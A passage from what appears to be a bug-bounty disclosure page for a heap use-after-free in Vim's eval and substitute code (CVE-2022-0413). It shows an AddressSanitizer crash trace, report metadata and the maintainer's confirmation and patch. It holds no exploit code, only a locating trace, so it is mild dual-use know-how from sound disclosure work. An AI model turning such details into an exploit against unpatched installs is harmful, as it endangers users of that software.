    #23 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
    #24 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
    #25 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
    #26 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
    #27 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:2
    #28 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
    #29 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/ev
    #30 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/regex
    #31 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/regex
    #32 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmds.
    #33 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
```

```
    #34 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
    #35 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/userfu
    #36 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src/


previously allocated by thread T0 here:
    #0 0x49720d in malloc (/home/alkyne/fuzzing/vim-asan/src/vim+0x49720d)
    #1 0x4c6d47 in lalloc /home/alkyne/fuzzing/vim-asan/src/alloc.c:248:11
    #2 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c:
    #3 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c:
    #4 0xa71e3d in do_source /home/alkyne/fuzzing/vim-asan/src/scriptfile.c
    #5 0xa704cd in cmd_source /home/alkyne/fuzzing/vim-asan/src/scriptfile.
    #6 0xa704cd in ex_source /home/alkyne/fuzzing/vim-asan/src/scriptfile.c
    #7 0xd97f97 in exe_commands /home/alkyne/fuzzing/vim-asan/src/main.c:36
    #8 0xd97f97 in vim_main2 /home/alkyne/fuzzing/vim-asan/src/main.c:774:2
    #9 0xd955a9 in main /home/alkyne/fuzzing/vim-asan/src/main.c:426:12
    #10 0x7fec9dfe80b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/

SUMMARY: AddressSanitizer: heap-use-after-free /home/alkyne/fuzzing/vim-asa
Shadow bytes around the buggy address:
  0x0c0c7fff8180: fa fa fa fa 00 00 00 00 00 00 03 fa fa fa fa fa
  0x0c0c7fff8190: 00 00 00 00 00 00 06 fa fa fa fa fa 00 00 00 00
  0x0c0c7fff81a0: 00 00 04 fa fa fa fa fa 00 00 00 00 00 00 00 fa
  0x0c0c7fff81b0: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
  0x0c0c7fff81c0: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd
=>0x0c0c7fff81d0: fd fd[fd]fd fa fa fa fa 00 00 00 00 00 00 07 fa
  0x0c0c7fff81e0: fa fa fa fa 00 00 00 00 00 00 07 fa fa fa fa fa
  0x0c0c7fff81f0: 00 00 00 00 00 00 07 fa fa fa fa fa 00 00 00 00
  0x0c0c7fff8200: 00 00 07 fa fa fa fa fa 00 00 00 00 00 00 07 fa
  0x0c0c7fff8210: fa fa fa fa 00 00 00 00 00 00 07 fa fa fa fa fa
  0x0c0c7fff8220: 00 00 00 00 00 00 07 fa fa fa fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
```

```
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7

  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==6580==ABORTING
```

CVE
CVE-2022-0413
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by

alkyne Choi

@alkyne

unranked

Fixed by

Bram Moolenaar

@brammool

maintainer

This report was seen 763 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar 10 months ago Maintainer

I can reproduce the problem. the POC can be further simplified, I'll use that in a test.
Next time, please try to reduce the POC as much as you can to save time.

Bram Moolenaar validated this vulnerability 10 months ago

alkyne Choi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago Maintainer

Fixed with patch 8.2.4253

Bram Moolenaar marked this as fixed in **8.2** with commit **37f479** 10 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

Sign in to join this conversation